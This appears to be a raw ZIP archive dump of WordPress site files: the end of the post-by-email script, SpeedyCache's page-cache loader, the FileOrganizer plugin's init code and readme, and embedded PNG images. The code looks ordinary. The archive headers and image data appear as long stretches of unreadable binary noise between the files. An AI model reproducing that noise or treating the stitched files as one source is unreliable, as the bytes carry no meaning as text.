	$post_data = compact( 'post_content', 'post_title', 'post_date', 'post_date_gmt', 'post_author', 'post_category', 'post_status' );
	$post_data = wp_slash( $post_data );

	$post_ID = wp_insert_post( $post_data );
	if ( is_wp_error( $post_ID ) ) {
		echo "\n" . $post_ID->get_error_message();
	}

	// The post wasn't inserted or updated, for whatever reason. Better move forward to the next email.
	if ( empty( $post_ID ) ) {
		continue;
	}

	/**
	 * Fires after a post submitted by email is published.
	 *
	 * @since 1.2.0
	 *
	 * @param int $post_ID The post ID.
	 */
	do_action( 'publish_phone', $post_ID );

	echo "\n<p><strong>" . __( 'Author:' ) . '</strong> ' . esc_html( $post_author ) . '</p>';
	echo "\n<p><strong>" . __( 'Posted title:' ) . '</strong> ' . esc_html( $post_title ) . '</p>';

	if ( ! $pop3->delete( $i ) ) {
		echo '<p>' . sprintf(
			/* translators: %s: POP3 error. */
			__( 'Oops: %s' ),
			esc_html( $pop3->ERROR )
		) . '</p>';
		$pop3->reset();
		exit;
	} else {
		echo '<p>' . sprintf(
			/* translators: %s: The message ID. */
			__( 'Mission complete. Message %s deleted.' ),
			'<strong>' . $i . '</strong>'
		) . '</p>';
	}
}

$pop3->quit();
PK���['wp-content/cache/speedycache/index.htmlnu�[���PK���[�	���wp-content/advanced-cache.phpnu�[���<?php
/*
* SPEEDYCACHE
* https://speedycache.com/
* (c) SpeedyCache Team
*/

if(!defined('ABSPATH')) exit;

// Check request method is Head or get 
if(!isset($_SERVER['REQUEST_METHOD']) || $_SERVER['REQUEST_METHOD'] !== 'GET'){
	return;
}

if(defined('WP_INSTALLING') && WP_INSTALLING){
	return;
}

if(defined('WP_CLI') && WP_CLI){
	return;
}

if(empty($_SERVER['REQUEST_URI']) || empty($_SERVER['HTTP_HOST']) || empty($_SERVER['HTTP_USER_AGENT'])){
    return false;
}

if(preg_match('/(\/){2}$/', $_SERVER['REQUEST_URI'])){
	return false;
}

function speedycache_ac_serve_cache(){

	$ignored_parameters = ['fbclid', 'utm_id', 'utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content', 'utm_source_platform', 'gclid', 'dclid', 'msclkid', 'ref', 'fbaction_ids', 'fbc', 'fbp', 'clid', 'mc_cid', 'mc_eid', 'hsCtaTracking', 'hsa_cam', 'hsa_grp', 'hsa_mt', 'hsa_src', 'hsa_ad', 'hsa_acc', 'hsa_net', 'hsa_kw', 'test_speedycache'];

	$uri = '';
	$parsed_uri = [];
	$uri = $_SERVER['REQUEST_URI'];
	$uri = urldecode($uri); // Users use other languages to write as well
	$uri = preg_replace('/\.{2,}/', '', $uri); // Cleaning the path

	$parsed_uri = parse_url($uri);
	if(!empty($parsed_uri) && !empty($parsed_uri['query'])){
		parse_str($parsed_uri['query'], $parsed_query);

		foreach($parsed_query as $query => $value){
			if(in_array($query, $ignored_parameters)){
				unset($parsed_query[$query]);
				continue;
			}
		}

		$uri = $parsed_uri['path'] . (!empty($parsed_query) ? '?'.http_build_query($parsed_query) : '');
	}
	
	// We dont know if the site is a /directory based so we just hit and try
	$site_dir = '';

	$path = '';
	if(!empty($parsed_uri['path'])){
		$path = trim($parsed_uri['path'], '/');
	}

	if(strpos($path, '/') !== FALSE){
		$parsed_path = explode('/', $path);
		$site_dir = $parsed_path[0];
	} elseif(!empty($path)){
		$site_dir = $path;
	}

	$config_file = WP_CONTENT_DIR . '/speedycache-config/' . basename($_SERVER['HTTP_HOST']) . '.php';

	if(!file_exists($config_file)){
		$config_file = WP_CONTENT_DIR . '/speedycache-config/' . basename($_SERVER['HTTP_HOST']) . '.'. $site_dir . '.php';
		if(!file_exists($config_file)){
			return;
		}
	}

	if(!file_exists($config_file)){
		return;
	}

	// Accessing the config file
	include_once $config_file;
	
	if(empty($speedycache_ac_config) || !is_array($speedycache_ac_config)){
		return;
	}

	if(empty($speedycache_ac_config['settings']['status'])){
		return;
	}
	
	// Exclude pages|useragent|cookie
	if(speedycache_ac_excludes($speedycache_ac_config)){
		return;
	}

	if(!empty($speedycache_ac_config['user_agents']) && preg_match('/'.preg_quote($speedycache_ac_config['user_agents']).'/', $_SERVER['HTTP_USER_AGENT'])){
		return;
	}
	
	if(empty($speedycache_ac_config['settings']['logged_in_user']) && preg_grep('/^wordpress_logged_in_/i', array_keys($_COOKIE))){
		return false;
	}

	// check comment author
	if(preg_grep('/comment_author_/i', array_keys($_COOKIE))){
		return false;
	}

	$cache_path = WP_CONTENT_DIR.'/cache/speedycache/' . basename($_SERVER['HTTP_HOST']);

	// For the test cache
	if(isset($_GET['test_speedycache'])){
		$cache_path = '/test'. $uri;
	} else if(!empty($speedycache_ac_config['settings']['mobile']) && preg_match('/Mobile|Android|Silk\/|Kindle|BlackBerry|Opera (Mini|Mobi)/i', $_SERVER['HTTP_USER_AGENT'])) {
		// Check for Mobile
		if(!empty($speedycache_ac_config['settings']['mobile_theme'])){
			$cache_path .= '/mobile-cache' . $uri;
		} else {
			return; // If just mobile is enabled then we don't want to show desktop verison of cache on mobile.
		}
	} else {
		// get path of file
		$cache_path .= '/all'. $uri;
	}
	
	$file_name = 'index';
	if(isset($_COOKIE['wcu_current_currency'])){
		$file_name .= '-' . strtolower($_COOKIE['wcu_current_currency']);
		$file_name = preg_replace('/\.{2,}/', '', $file_name); // Cleaning the path
	}
	$file_name .= '.html';

	//check file extension
	$serving_gz = '';
	if(isset($_SERVER['HTTP_ACCEPT_ENCODING']) && strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== FALSE && !empty($speedycache_ac_config['settings']['gzip']) && @file_exists($cache_path . '/'. $file_name.'.gz')){
		$serving_gz = '.gz';
		
		// We do not want output compression to be enabled if we are gzipping the page.
		if(function_exists('ini_set')){
			ini_set('zlib.output_compression', 0);
		}

		header('Content-Encoding: gzip');
	}

	if(!file_exists($cache_path . '/'.$file_name . $serving_gz)){
		$serving_gz = '';
	}
	
	if(!file_exists($cache_path . '/'.$file_name . $serving_gz)){
		return;
	}

	if(!headers_sent()){
		header('x-speedycache-source: PHP');
	}

	$cache_created_at = filemtime($cache_path. '/'.$file_name . $serving_gz);
	header('Last-Modified: ' . gmdate( 'D, d M Y H:i:s', $cache_created_at) . ' GMT');

	$if_modified_since = isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) ? strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) : 0;

	if($if_modified_since === $cache_created_at){
		header($_SERVER['SERVER_PROTOCOL'] . ' 304 Not Modified', true, 304);
		header('Cache-Control: no-cache, must-revalidate');
		header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT');
		exit();
	}

	readfile($cache_path. '/'.$file_name . $serving_gz);
	exit();
}

function speedycache_ac_excludes($excludes){
	if(empty($excludes) || !is_array($excludes)){
		return false;
	}

	$preg_match_rule = '';
	$request_url = !empty($_SERVER['REQUEST_URI']) ? urldecode(trim($_SERVER['REQUEST_URI'], '/')) : '';

	foreach($excludes as $key => $value){
		$value['type'] = !empty($value['type']) ? $value['type'] : 'page';

		if(!empty($value['prefix']) && $value['type'] == 'page'){
			$value['content'] = trim($value['content']);
			$value['content'] = trim($value['content'], '/');
			
			if($value['prefix'] == 'exact' && strtolower($value['content']) == strtolower($request_url)){
				return true;
			}else{
				$preg_match_rule = preg_quote($value['content'], '/');

				if($preg_match_rule){
					if(preg_match('/'.$preg_match_rule.'/i', $request_url)){
						return true;
					}
				}
			}
		}else if($value['type'] == 'useragent'){
			if(preg_match('/'.preg_quote($value['content'], '/').'/i', $_SERVER['HTTP_USER_AGENT'])){
				return true;
			}
		}else if($value['type'] == 'cookie'){
			if(isset($_SERVER['HTTP_COOKIE'])){
				if(preg_match('/'.preg_quote($value['content'], '/').'/i', $_SERVER['HTTP_COOKIE'])){
					return true;
				}
			}
		}
	}
}

speedycache_ac_serve_cache();PK���[ʌ�Kv)v))wp-content/plugins/fileorganizer/init.phpnu�[���<?php
/*
* FILEORGANIZER
* https://fileorganizer.net/
* (c) FileOrganizer Team
*/

//ABSPATH is required.	
if(!defined('ABSPATH')) exit;

define('FILEORGANIZER_DIR', dirname( FILEORGANIZER_FILE ));
define('FILEORGANIZER_BASE', plugin_basename(FILEORGANIZER_FILE));
define('FILEORGANIZER_URL', plugins_url('', FILEORGANIZER_FILE));
define('FILEORGANIZER_BASE_NAME', basename(FILEORGANIZER_DIR));
define('FILEORGANIZER_WP_CONTENT_DIR', defined('WP_CONTENT_FOLDERNAME') ? WP_CONTENT_FOLDERNAME : 'wp-content');
define('FILEORGANIZER_DEV', file_exists(dirname(__FILE__).'/dev.php') ? 1 : 0);

function fileorganizer_died(){
	print_r(error_get_last());
}

if(FILEORGANIZER_DEV){
	include_once FILEORGANIZER_DIR.'/DEV.php';
	//register_shutdown_function('fileorganizer_died');
}

if(!class_exists('FileOrganizer')){
class FileOrganizer{
	public $options = array();
}
}

function fileorganizer_autoloader($class){
	
	if(!preg_match('/^FileOrganizer\\\(.*)/is', $class, $m)){
		return;
	}
	
	// For Free
	if(file_exists(FILEORGANIZER_DIR.'/main/'.strtolower($m[1]).'.php')){
		include_once(FILEORGANIZER_DIR.'/main/'.strtolower($m[1]).'.php');
	}
	
	// For Pro
	if(defined('FILEORGANIZER_PRO_DIR') && file_exists(FILEORGANIZER_PRO_DIR.'/main/'.strtolower($m[1]).'.php')){
		include_once(FILEORGANIZER_PRO_DIR.'/main/'.strtolower($m[1]).'.php');
	}
}

spl_autoload_register(__NAMESPACE__.'\fileorganizer_autoloader');

// Ok so we are now ready to go
register_activation_hook( FILEORGANIZER_FILE , 'fileorganizer_activation');

// Is called when the ADMIN enables the plugin
function fileorganizer_activation(){
	global $wpdb;

	$sql = array();

	add_option('fileorganizer_version', FILEORGANIZER_VERSION);

}

// Looks if FileOrganizer just got updated
function fileorganizer_update_check(){

	$sql = array();
	$current_version = get_option('fileorganizer_version');	
	$version = (int) str_replace('.', '', $current_version);

	// No update required
	if($current_version == FILEORGANIZER_VERSION){
		return true;
	}

	// Is it first run ?
	if(empty($current_version)){

		// Reinstall
		fileorganizer_activation();

		// Trick the following if conditions to not run
		$version = (int) str_replace('.', '', FILEORGANIZER_VERSION);

	}

	// Adding index.php to trash folder, if it already exists.
	if(version_compare($current_version, '1.0.7', '<=')){
		$uploads_dir = wp_upload_dir();
		$trash_dir = fileorganizer_cleanpath($uploads_dir['basedir'].'/fileorganizer/.trash');

		if(file_exists($trash_dir)){
			fileorganizer_recursive_indexphp($trash_dir, 8); // Adding index.php files

			$randomness = wp_generate_password(12, false);
			$new_dir_name = $trash_dir . '-' . $randomness;

			rename($trash_dir, $new_dir_name);
		}
	}

	// Save the new Version
	update_option('fileorganizer_version', FILEORGANIZER_VERSION);
	
}

// Creates index.php file recursively
// This is needed only if user upgrades from any version below 1.0.8
// NOTE: So remove when not needed.
function fileorganizer_recursive_indexphp($trash_dir, $depth){

	if($depth <= 0){
		return;
	}

	if(!is_dir($trash_dir)){
		return;
	}

	$sub_dirs = scandir($trash_dir);

	if(empty($sub_dirs)){
		return false;
	}

	foreach($sub_dirs as $file){
		$file_path = $trash_dir . '/' . $file;
		if(!is_dir($file_path) || in_array($file, ['..', '.'])){
			continue;
		}

		$depth--;
		fileorganizer_recursive_indexphp($file_path, $depth);
	}

	if(!file_exists($trash_dir . '/index.php')){
		file_put_contents($trash_dir . '/index.php', '<?php //Silence is golden');
		chmod($trash_dir . '/index.php', 0444);
	}
}

// Add action to load FileOrganizer
add_action('plugins_loaded', 'fileorganizer_load_plugin');
function fileorganizer_load_plugin(){
	global $fileorganizer;
	
	if(empty($fileorganizer)){
		$fileorganizer = new FileOrganizer();
	}
	
	// Check if the installed version is outdated
	fileorganizer_update_check();
	
	$options = get_option('fileorganizer_options');
	$fileorganizer->options = empty($options) ? array() : $options;
	
	if(is_admin() && !defined('FILEORGANIZER_PRO') && current_user_can('activate_plugins')){
		// The promo time
		$promo_time = get_option('fileorganizer_promo_time');
		if(empty($promo_time)){
			$promo_time = time();
			update_option('fileorganizer_promo_time', $promo_time);
		}

		// Are we to show the FileOrganizer promo
		if(!empty($promo_time) && $promo_time > 0 && $promo_time < (time() - (7 * 86400))){
			add_action('admin_notices', 'fileorganizer_promo');
		}
	}
}

// This adds the left menu in WordPress Admin page
add_action('network_admin_menu', 'fileorganizer_admin_menu', 5);
add_action('admin_menu', 'fileorganizer_admin_menu', 5);
function fileorganizer_admin_menu() {

	global $wp_version;
	
	// TODO : Capability for accessing this page
	$capability = fileorganizer_get_capability();
	$manu_capability = 'manage_options';
	
	if(is_multisite()){
		$manu_capability = 'manage_network_options';
	}

	// Add the menu page
	add_menu_page(__('FILE ORGANIZER'), __('File Organizer'), $capability, 'fileorganizer', 'fileorganizer_page_handler', 'dashicons-category');
	
	// Add Settings Page
	add_submenu_page( 'fileorganizer', __('Settings'), __('Settings'), $manu_capability, 'fileorganizer-settings', 'fileorganizer_settings_handler');
	
	if(defined('FILEORGANIZER_PRO')){

		// Restrictins by user
		add_submenu_page( 'fileorganizer', __('User Restrictions'), __('User Restrictions'), $manu_capability, 'fileorganizer-user-restrictions', 'fileorganizer_restrictions_handler');
		
		// Restrictins by  user role
		add_submenu_page( 'fileorganizer', __('User Role Restrictions'), __('User Role Restrictions'), $manu_capability, 'fileorganizer-user-role-restrictions', 'fileorganizer_role_restrictions_handler');
		
		// Add License Page
		add_submenu_page( 'fileorganizer', __('License'), __('License'), $manu_capability, 'fileorganizer-license', 'fileorganizer_license_handler');
		
	}
}

// Register admin style
add_action( 'admin_init', 'fileorganizer_admin_init');
function fileorganizer_admin_init(){
	wp_register_style('forg-admin', FILEORGANIZER_URL .'/css/admin.css', array(), FILEORGANIZER_VERSION);
}

function fileorganizer_page_handler(){
	global $fileorganizer;
	
	// Register scripts
	wp_register_script('forg-elfinder', FILEORGANIZER_URL .'/manager/js/elfinder.min.js', array('jquery', 'jquery-ui-droppable', 'jquery-ui-resizable', 'jquery-ui-selectable', 'jquery-ui-slider', 'jquery-ui-button', 'jquery-ui-sortable','wp-codemirror'), FILEORGANIZER_VERSION);

	// Load Language dynamically
	if(!empty($fileorganizer->options['default_lang']) && $fileorganizer->options['default_lang'] != 'en') {
		wp_register_script( 'forg-lang', FILEORGANIZER_URL .'/manager/js/i18n/elfinder.'.sanitize_file_name($fileorganizer->options['default_lang']).'.js', array('jquery'), FILEORGANIZER_VERSION);
	}

	// Register styles
	wp_register_style('forg-jquery-ui', FILEORGANIZER_URL .'/css/jquery-ui/jquery-ui.css', array(), FILEORGANIZER_VERSION);
	wp_register_style('forg-elfinder', FILEORGANIZER_URL .'/manager/css/elfinder.min.css', array('forg-admin', 'forg-jquery-ui','wp-codemirror'), FILEORGANIZER_VERSION);
	
	// Load theme dynamically
	$theme_path = !empty($fileorganizer->options['theme']) ? '/themes/'.$fileorganizer->options['theme'] : '';	
	wp_register_style('forg-theme', FILEORGANIZER_URL.'/manager'.$theme_path.'/css/theme.css', array(), FILEORGANIZER_VERSION);

	// Include the handler
	include_once (FILEORGANIZER_DIR .'/main/fileorganizer.php');
	
	// Render HTML
	fileorganizer_render_page();
	
}

// Include the setting handler
function fileorganizer_settings_handler(){
	include_once (FILEORGANIZER_DIR .'/main/settings.php');
	fileorganizer_settings_page();
}

function fileorganizer_restrictions_handler(){
	include_once FILEORGANIZER_PRO_DIR .'/main/user_restrictions.php';
	fileorganizer_user_restriction_render();
}

function fileorganizer_role_restrictions_handler(){
	include_once FILEORGANIZER_PRO_DIR .'/main/role_restrictions.php';
}

function fileorganizer_license_handler(){
	include_once FILEORGANIZER_PRO_DIR .'/main/license.php';
}

// Check if a field is posted via GET else return default value
function fileorganizer_optget($name, $default = ''){
	
	if(!empty($_GET[$name])){
		return fileorganizer_clean($_GET[$name]);
	}
	
	return $default;	
}

// Check if a field is posted via POST else return default value
function fileorganizer_optpost($name, $default = ''){
	
	if(!empty($_POST[$name])){
		return fileorganizer_clean($_POST[$name]);
	}
	
	return $default;	
}

// Check if a field is posted via REQUEST else return default value
function fileorganizer_optreq($name, $default = ''){
	
	if(!empty($_REQUEST[$name])){
		return fileorganizer_clean($_REQUEST[$name]);
	}
	
	return $default;	
}

function fileorganizer_clean($var){
	
	if(is_array($var) || is_object($var)){
		$var = map_deep($var, 'wp_unslash');
		return map_deep($var, 'sanitize_text_field');
	}
	
	if(is_scalar($var)){
		$var = wp_unslash($var);
		return sanitize_text_field($var);
	}

	return '';

}

function fileorganizer_cleanpath($path){
	$path = str_replace('\\\\', '/', $path);
	$path = str_replace('\\', '/', $path);
	$path = str_replace('//', '/', $path);
	return rtrim($path, '/');
}

function fileorganizer_get_capability(){
	
	$capability = 'activate_plugins';
	
	return apply_filters('fileorganizer_get_capability', $capability);
}

// Load ajax
if(wp_doing_ajax()){
	include_once FILEORGANIZER_DIR . '/main/ajax.php';
}

// Show the promo
function fileorganizer_promo(){
	include_once(FILEORGANIZER_DIR.'/main/promo.php');
	fileorganizer_base_promo();
}

function fileorganizer_notify($message, $type = 'updated', $dismissible = true){
	$is_dismissible = '';
	
	if(!empty($dismissible)){
		$is_dismissible = 'is-dismissible';
	}
	
	if(!empty($message)){
		echo '<div class="'.esc_attr($type).' '.esc_attr($dismissible).' notice">
			<p>'.wp_kses_post($message).'</p>
		</div>';
	}
}

// Check we are outside installtion directory ?
function fileorganizer_validate_path($path) {
	$currentDirectory = fileorganizer_cleanpath(realpath(ABSPATH));
	$absolutePath = fileorganizer_cleanpath(realpath($path));
	
	if($currentDirectory === $absolutePath){
		return true;
	}

    return strpos($absolutePath, $currentDirectory) !== false;
}PK���[
d�
%%+wp-content/plugins/fileorganizer/readme.txtnu�[���=== FileOrganizer - Manage WordPress and Website Files ===
Contributors: softaculous
Tags: FileOrganizer, file manager, wordpress file manager, file explorer, upload files, File Manage, Edit Files, Delete Files, elfinder, ftp, file transfer, update, create, delete, view, edit, rename, editor, explorer, softaculous, webuzo, Control Panel, Admin
Requires at least: 5.5
Tested up to: 6.8.2
Requires PHP: 5.5
Stable tag: 1.1.6
License: LGPL v2.1
License URI: http://www.gnu.org/licenses/lgpl-2.1.html

FileOrganizer is a plugin that helps you to manage all files in your WordPress Site. FileOrganizer provides you the ability to edit, delete, upload, download, copy and paste files and folders.

== Description ==
FileOrganizer is a lightweight and easy-to-use file management plugin for WordPress. Organize and manage your WordPress files with FileOrganizer without any control panel or FTP access. You can access, upload, download, edit, delete, zip, cut, copy, and paste files even outside the WordPress root directory.

==Free Features==
* **Files and directory Management:** Supports all file operations on a remote server such as create files or directory, upload, download, rename, copy, etc.
* **Drag & drop:** Easy drag-and-drop file transfer for uploading and moving files.
* **Built-in editor:** FileOrganizer has a built-in editor for editing code and files.
* **Archive creation / extraction:**  Create or extract archives with one click(.zip, .tar)
* **File Previews**: Supports previews for common file types including PDFs, pictures, videos, audio, and thumbnails.
* **Responsive**: FileOrganizer is compatible with tablets and smartphones.
* **Search**: The built-in search feature makes it simple to find your files.
* **File View**: Offers both icons and list views for easy navigation.
* **Image Thumbnails**: Display thumbnails for image files.
* **Support Shortcuts**: Common keyboard shortcuts such as cut, copy, paste, etc. are available.
* **Toolbar**: Rich Toolbar and context menu are available.
* **Directory Size**: Calculates size of the directory.
* **File/Directory Info**: File or directory information can retrived by simply right-clicking a file and choosing Get Info.

== Info ==
Do you have questions related to FileOrganizer ? Use the following links :

1. [Docs](https://fileorganizer.net/docs)
3. [Help Desk](https://fileorganizer.deskuss.com)
2. [Support Forum](http://wordpress.org/support/plugin/fileOrganizer)

== Frequently Asked Questions ==
= How to install FileOrganizer =
Go To your WordPress install -> Plugins -> Add New Button -> In Search Box, Look For FileOrganizer -> Click on Install.

== Screenshots ==

1. File Manager Screen
2. Edit File
3. Delete File
4. Make a folder
5. Download archived zip file
6. File archive as ZIP

== Changelog ==

= 1.1.6 (Jul 18, 2025) =
* [Task] Tested with WordPress 6.8.2.

= 1.1.5 (Dec 03, 2024) =
* [Bug-fix] The language file name was not sanitized properly. This is fixed.

= 1.1.4 (Nov 18, 2024) =
* [Task] Tested with WordPress 6.7.

= 1.1.3 (Oct 22, 2024) =
* [Task] Improved compatibility with Softaculous Plugin.

= 1.1.2 (Sep 20, 2024) =
* [Task] Improved license handling.

= 1.1.1 (Sep 11, 2024) =
* [Task] Added notice for "Allowed User Roles" setting.

= 1.1.0 (Sep 10, 2024) =
* [Task] Added additional checks for file uploading.

= 1.0.9 (July 19, 2024) =
* [Task] Structural changes.
* [Task] Tested with WordPress 6.6

= 1.0.8 (June 06, 2024) =
* [Security-Fix] A Directory listing issue has been fixed. (Researcher Emad, WordFence)

= 1.0.7 (Apr 11, 2024) =
* [Security-Fix] An XSS vulnerability has been fixed. Please upgrade to this version as soon as possible!

= 1.0.6 (Dec 15, 2023) =
* [Security-fix] There was a privilege check failure which has been fixed.

= 1.0.5 (Nov 29, 2023) =
* [Task] Tested compatibility with WordPress 6.4. No functional changes made. The plugin is fully compatible with WordPress 6.4.

= 1.0.4 (sep 19, 2023) =
* [Improvement] FileOrganizer file manager is now only accessible for users with the 'Activate Plugins' role. And in the Pro version other roles can be granted file manager access by the Supper administrator.

= 1.0.3 (sep 8, 2023) =
* [Feature] FileOrganizer optimized for WordPress multi-site. Now you can use FileOrganizer for multi-site. 
* [Pro-Feature] Added settings to prevent FileOrganizer from setting paths outside of your WordPress installation. And the free version does not allow the user to set a path outside your WordPress installation.
* [Improvement] The UI of all themes has been improved.
* [Improvement] Added CodeMirror editor to improve your editing experience.

= 1.0.2 (Apr 27, 2023) =
* [Feature] Added theme option for file manager, now you can change theme of file manager.
* [Feature] Added some settings to configure FileOrganizer file manager.
* [Feature] Added option to enable Trash. Now you can Enable/Disable Trash feature for File Manager from Settings page.
* [Pro-Feature] Added "Allowed user roles" option to allow selected users to access File Manager.
* [Pro-Feature] Added options to restrict features and set limited access to FileOrganizer by users and user roles.

= 1.0.1 =
* [Bug-fix] In some cases, backslashes were added before quotes when editing a PHP file. This is fixed.

= 1.0.0 =
* First releasePK���[�_v9

=wp-content/plugins/fileorganizer/images/pagelayer_product.pngnu�[����PNG


IHDR@< ٓ�sRGB��,	pHYs��7PLTE�������������������������������������������������U�������������������������������������������������������������������q���������������������������������������������������������������������������������f�����������������������������������������������������������������������������������������������������m����������������������������������������|aY^�tRNS
.Ng��y]?-r���Mf�����Ip�&�Tݬ
���4��8�� p@�i��(�ϯ��	P�����`��Q��*�2b֊��+z0�E߈��%��e0���`D����"\O�[����ktPu����6�� ܐ{3�X�dz�}�!���=��$�o�1�m/V��aB����RH)z�xx	�IDATx����LJ D]d��"����*��R҇ګfaP�;�����&��M4�ѐx������]���oU��ә����VUW���z�jh�Т�->f��T�?���*|TD�NX�Z�O�M��\5�V����֌ڲo�֞�C
>��z�B�:my�L����c��3��^65j�X�7���v{�Yg��̱��9�.�/��M�6tL��ǵ˟Ԗ�Fm�Xj�[{�7>
3ը�Z�d�W~)��p�V'���.��w~���
,[�q=�?=N7]��v��KH�3P�߸�cp�R��.�29�ӹ횬��`��
[=>篸RA4�m٦�O��ٹn����I����3�$h7Lp|^�G�w��e����)��z���x��oӸY�����7�D���L7ٗ��S1�lv�78[o�Qʬ�9
�!H�X���F����_��O%�����)�bQl��q8{&s���e��_�rw�\`���#4�(v�ȴtf~��x��X��&?-`�t ��(Ik�hjdU�6�4-D	f�h�F�Z.��˪�j�ߏc�;Wj�pm���8�U�N�b�ny��D�Z��;�(kg(���d~"�u�.)G	x������8MHd~�b�ߍ��Մiwa72A;���D���ⅿ)�m)==
�_0��Hց�s5�lH��Ma��^�~%s~��������˄?܍���`@�A �|��v��m`��-���mG��P��›Ҭ�r��G[!��%[
�������oK������)���.ш
���c�2���w-`�./d�1}����,�������c3�5y�����MK@so�6�F���QV�t2��t�4L��\�����u��K��	����~i���9���2ζ�2D��s��#6��u�&�#��k��E����8�(���"(���ʴ����a?���E�r��=�`�L��I�nA.���Q4r[؅X��������L���G���eレ�D"���s�|n��&�w�.�[�mV4P&q#>��h���tܡ�T��L���=��-��@����@�,,�V�m0�M:4��E]�0��~#mÚ�pPab(d>��	��'�"��H=�_��?��� 9��8����C��f�m��z�����^�-���c5�|J��B�&�o>� R��e�oF\.��w`����x�M�e3�`���BS�.\R�f���Er�c�q#»�r��MX�@����IhŤ��p�@QHVa��0��92��E�Z���yC��s���:��\-@�)�A.�(O��J�����۟�W�ԯ��
��IeK�X*���%�R���Bz�	?���s"�^������X-��)rZ��P.s7�F:��1tb�l��=��,KJS�F���
e��a�v���C��E��)R�Ֆ#�1̴�eeȅ�^ɭnd_|�,���/�k��|$0� �=�y=9�tB��L�`�ra�������{e�īe� 8��t�V$�h�e��:á ���6:��I��]H	WG��d���$��^���b�@�g8��@�@@���MXʳŎ�(Ѡu�:���:�WP٬qf���8��)GlЩ�gH��r��!.�xK��a|_�~�vF����,��%?�aBe� @��/��{��؄����:��r̭^�yKqL��:���53Ь�L�
L����-z�S<j�{������M�=0� \��|�\�s/���4��0D
/paf�!
V�;&=sK�wZVT^J
ࢷ�0��A�yQ5����oӎ�.Ȋ�Ix�b[��P�����<"+�š�l̏���_���M�â)jb>\�2�6��q��L���{��ՄrQɄ�HK�����xX^~�6���A�l�D"\��T�t�F�	�wny��ko�VÐ�6[ �||l�k���-&h�riE:�|<뎗�c��p�B���ë)�v��G������qB�����b�c;�ϊ��n�c;��'�Ry�h�L����ݵ~ˑ<L��s����NE���&Q��Y��{ѽ���ndv�_��b��Q�W��4[f�H�V؃�@��Rm=��?X�&Sc��(d(�k�m��a/8eWX������舕�M�#UT�B�L�<<��>��[��fpH���o��嗆zQ�3Xq��Ї�aV{��	p�gC^����q��)6�u�Q�0I���n��O������Do�袼tu�"�/��TW�@��6ƍ80����3�0��{q��2�.\ze�H���{8�dg]=�Y��;fGi���+���\]�m}�
�+��u�pǮ��?��i�
DqFtJ��IEND�B`�PK���[+�L�4wp-content/plugins/fileorganizer/images/facebook.pngnu�[����PNG


IHDR  szz��IDATx�ŗ{PU�#��C�i
�f�xXd�ь��#A�"zrQ@������d�cT��$��7Tr/��R�DtL�a 5+v;�g��=��޻՝���g�����{�����<I�>4-84	@�": �7ģ��t%�;����y��q���G~�1`=i]3L������t�!IG-F	�:z��D���a	 ��M����J�믝��y
��*9��&���4`�Wf�\�R
�3�΂�~�d��zۏ�f���������!��;y�i���T6\�#-W��
 g�|����
�Ղ,q%"��Bf�c��e�U��6��p~	��t9H�r�D@�:��,�>�
%���^�I�ֲ�.J.�qT�c_&c�׋�jxR���.�	�ԗ�D�q�F�H�5w]���k�
�;�U
XU��=g�g�.0���^�8�G��3�a{�Y���B�_�����.0��9�O�ss����^��_e��s�
׸{xm�i���I��a
��oσ�qՕaӞT���S`���)�@�
����a�.hޛ�R>�B�"�CL���mYaD0��|�d���?���;�l���4�^r�{����c��:�.43��񂲢�̖�L�Z�Ƈ6�>�X9�4p'+20@��2�.O���C�ʣ�eW��*�7%�u_&Hz��m
D��-q��FoCJA�.�:�B��X^�؅#�~��;dz�����AD��X����7o�e�^�9��`�W7��\V-����0���AJ��@]ˀk�g�	׶�]�l}�R��}�W?M�膺�瘭,.�8�*��K�45����" 6�a�������
+p��1���F}
��q(H������j���c��^�����b�hf�k`6�GC\�`)k�ڦLa���v�uT�1@������ 2�A|�L���SP�x���>R��p�չ !�Fx(č�@|�,`Oi�Ʌ�16�2@��`���q(|�Y
`�n�Ӆ^��W���\סu`�:9�|
3c��y���Ps�ϳ8y��<��>��^ɮE��U�	�)~>d�6����3B��&;m��@>X�u��Y���慆d�zj�����O�ӉC���p����hq����~G�1���Z�n��І��m:�@�����[c���Y6.���*��Ͽ@��j�OIEND�B`�PK���[ژz��
�
0wp-content/plugins/fileorganizer/images/logo.pngnu�[����PNG


IHDR���>a�sRGB��,	pHYs��
{IDATx��PT�ǝh[�d�c�N�u/���۩V�U��Ј�i�6�aQ���V5h���G�A;Ml�Ɖ�J|�I�%����d��B���z�u���\�o�?�����}���m׎ � � � � � � � � � � �0Dz��X��<4�
N���sx����N�/v���d���t�|5�����=P)��s���f��
{,D3��
�F�/���e��ŋW@c,���q~�þi��A���K�2�c���`O�i�
�#�bYz��+��M&%�|�L 1��jl�T�]!,���=VBX�e��wo��c%c���\J3J]��K�1�;��&D�/l3ð�L�a6�����
�Xl�3�F(����K��c&����DP!
�Q���k{�V�u���d1�#`MӶ�p�6/}c1�sͼ�6/rQ%�I�R��͆HI7,�0��fA��
X�c��7���`��~��^_�'g�F���]Z������^��� U�y9�[�d��I7�'���ϵ?�=�`c5	]LVØoy������
����Iœ
����*�����&��e�LR@��E�0/�}�j��{<�f��>���
m@�ml��0E狝��j�L��ψe�V��%V�>>�*�c墿Xk��d���~L�~�8)��|��P<f��p���	�ux
�X/u�>>�PZ����b�_l8V�rf��>]���0�I��׉��Ȳ�3w����ee
���
���v�il�]�6�1�.�0�b娰�`�� FR�*��lg�kv$��lMRF�g^b��c��괁;�&�0?��6�C/b���ȞG�.�$�Q�`�'*(�6-!������{�D/��Tn�
b�D�_f���!�g����U��m؅Ҥ��S�=O��N������@/��Ud�~[�of�T�q簋�]q�ga�C��7��ب����Ҩ��
���	��!WЋ�q�Wm,���.��U- J������8�]$-�(�N�H֗�/��Ev;��0�?HL�?���
�^2�+�1"��z�4��h��Ԩ
�S�"iW�m����?6RG�?X�s6�퟿Ht�HZ�^g�}˜��K�?��
K#{����FWЃAr���Wz� �&�8�?�EҲ��{
�����F/�f�~��}�`��E��/�v��:�`ʰo��q�fa{_����{VEҮ`���T
��jX�@/�f�پ��V�[�(`����a�B���LP�^$
����	J�_8�]$-�Xf���H��o��A�^-�?'
